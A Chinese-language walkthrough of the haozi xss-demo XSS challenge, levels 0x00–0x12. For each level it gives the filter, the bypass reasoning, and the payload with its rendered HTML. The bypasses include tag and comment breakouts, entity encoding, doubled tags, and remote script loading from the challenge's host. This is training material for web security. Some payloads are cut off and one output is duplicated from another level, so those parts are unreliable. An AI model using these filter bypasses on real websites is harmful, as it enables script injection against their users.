参考资料:
https://www.bodkin.ren/index.php/archives/592/
https://github.com/haozi/xss-demo/issues/1
0x00
server code
1 | function render (input) { |
分析
没有任何的过滤直接输出
input code
1 | <script>alert(1)</script> |
html
1 | <div><script>alert(1)</script></div> |
0x01
server code
1 | function render (input) { |
分析
也没有任何的过滤,但是这里需要把前面的标签闭合
input code
1 | </textarea><script>alert(1)</script> |
html
1 | <textarea></textarea><script>alert(1)</script></textarea> |
0x02
server code
1 | function render (input) { |
分析
这个也没有过滤,但是要想办法把引号和标签闭合
input code
1 | "><script>alert(1)</script> |
html
1 | <input type="name" value=""><script>alert(1)</script>"> |
0x03
server code
1 | function render (input) { |
分析
从这道题开始有了过滤。这道题用正则过滤掉了[]和(),可以使用单引号模版字符串绕过(也可以使用实体编码,可以看下一道题)
input code
1 | <script>alert`1`</script> |
html
1 | <script>alert`1`</script> |
0x04
server code
1 | function render (input) { |
分析
这道题用正则过滤掉了[]、()和’,可以使用实体编码(https://github.com/WWILLV/Crypto/blob/master/Crypto/Code.cs#L400)
input code
1 | <img src=x onerror="alert(1)"> |
html
1 | <img src=x onerror="alert(1)"> |
0x05
server code
1 | function render (input) { |
分析
将html的-->
注释符替换成笑脸并输出在html注释中。
可以使用--!>
绕过并跳出注释(html注释<!--xxx-->
,<!--xxx!-->
)
input code
1 | --!><script>alert(1)</script><!-- |
html
1 | <!-- --!><script>alert(1)</script><!-- --> |
0x06
server code
1 | function render (input) { |
分析
忽略大小写并过滤以auto开头或者on开头,=等号结尾的标签属性并替换成_
可以用换行绕过
input code
1 | 1、 |
html
1 | <input value=1 type=image src onerror |
0x07
server code
1 | function render (input) { |
分析
正则匹配了<开头,>结尾的标签字符串,且忽略大小写,并将其替换成空
利用浏览器容错性,去掉>闭合绕过
input code
1 | 1、<svg/onload='alert(1)'(或<svg/onload=alert(1) (结尾要有一个空格或换行)) |
html
1 | <article><svg/onload=alert(1) </article> |
0x08
server code
1 | function render (src) { |
分析
将</style>
标签替换成/ \u574F\u4EBA /,忽略大小写
1、在标签>闭合前加空格绕过(</style >
逃逸正则)
2、在标签>闭合前换行绕过
input code
1 | 1、</style ><script>alert(1)</script> |
html
1 | <article><svg/onload=alert(1) </article> |
0x09
server code
1 | function render (input) { |
分析
正则匹配以https://www.segmentfault.com开头的输入,若无匹配返回失败
输出正则匹配字符,闭合script标签,注释掉最后的">
来绕过
(也可以构造符合正则的url,比如注册符合条件的域名,如https://www.segmentfault.com.example.com/eval.js)
input code
1 | https://www.segmentfault.com"></script><script>alert(1)</script>// |
html
1 | <script src="https://www.segmentfault.com"></script><script>alert(1)</script>//"></script> |
0x0A
server code
1 | function render (input) { |
分析
在0x09上增加过滤
输入点在<script>
标签的src属性中,可以直接引入远端js文件绕过
(alert(1)的js官方提供地址:https://xss.haozi.me/j.js)
利用URL的@特性引入js,过滤后的html实体编码在html标签属性值中无影响,直接解析
或者直接在给定的网址segmentfault.com 注册账号,新建一个笔记,内容为alert(1),再调用这个笔记链接即可,记得换行
input code
1 | https://[email protected]/j.js |
html
1 | <script src="https:/&#[email protected]/j.js"></script> |
0x0B
server code
1 | function render (input) { |
分析
将输入全部大写
1、html标签大小写无影响,可以直接引入外部js文件绕过
2、js严格区分大小写,但在html标签内可以使用html实体编码绕过
(html 标签, 域名 不区分大小写,path部分区分大小写)
input code
1 | 1、<script src="https://xss.haozi.me/j.js"></script> |
html
1 | <h1><SCRIPT SRC="HTTPS://XSS.HAOZI.ME/J.JS"></SCRIPT></h1> |
0x0C
server code
1 | function render (input) { |
分析
同上题的基础上过滤了script标签,忽略大小写且替换为空
由于只过滤一次,可以直接在script中插入script绕过
当然也可以采用html实体编码绕过
input code
1 | <scriscriptpt src="https://xss.haozi.me/j.js"></scrscriptipt> |
html
1 | <h1><SCRIPT SRC="HTTPS://XSS.HAOZI.ME/J.JS"></SCRIPT></h1> |
0x0D
server code
1 | function render (input) { |
分析
正则匹配</"'
号,且替换为空,同时输入点在//注释后
由于输入点在script标签内,完全可以直接alert,使用换行绕过//注释行,弹窗后换行再行注释’)
由于过滤了/,即//和/**/的js注释失效,可以使用html注释–>闭合绕过
(可以换行过单行注释,但是代码不能正常运行,这里可使用 html 注释 –> 来注释 后面的js,使代码正常运行)
input code
1 |
|
html
1 | <script> |
0x0E
server code
1 | function render (input) { |
分析
正则匹配<开头的字符串,替换为<_字母,且将输入全部大写
由于匹配了<+
字母,拦截所有标签,后面绕过大写
这题需要解决两个问题:1. <s
被正则替换坏了。 2. 大写的js无法正常运行.
解决方案:1. ſ 古英语中的s的写法, 转成大写是正常的S 2. 用外链的方式加载外部js
input code
1 | <ſcript src="https://xss.haozi.me/j.js"></script> |
html
1 | <h1><SCRIPT SRC="HTTPS://XSS.HAOZI.ME/J.JS"></SCRIPT></h1> |
0x0F
server code
1 | function render (input) { |
分析
将一些字符进行实体编码,输入点在console.error中
由于题目使用的是img标签,所有输入在标签内,而过滤的又将其转为html实体编码,所以无影响…
闭合’单引号和)括号,在img中的onerror属性中alert;
(对html inline js 转义就是做无用功,浏览器会先解析html, 然后再解析 js)
input code
1 | ');alert('1 |
html
1 | <img src onerror="console.error('');alert('1')"> |
0x10
server code
1 | function render (input) { |
分析
闭合前面的之后输出
input code
1 | '1';alert(1) |
html
1 | <script> |
0x11
server code
1 | // from alf.nu |
分析
过滤一些字符
输入点在自定义参数的字符串值中,/替换为//,但”双引号过滤后的/“正好将/引入在内
input code
1 | "),alert(1)// |
html
1 | <script> |
0x12
server code
1 | // from alf.nu |
分析
匹配”双引号,并替换为\“
由于输入点在script标签外,则不能考虑html实体编码
“替换成\“,在实际输出中可以在添一个\来转义掉第一个\绕过
(” 被转义成 \” 经过html 解析后 里面变成 console.log("\")
会报语法错误, 再补个 \ 即可)
input code
1 | \");alert(1);// |
html
1 | <script>console.log("\\");alert(1);//");</script>xxxxxxxxxx <script>console.log("\\");alert(1);//");</script><script> window.data = '1';alert(1)</script>html |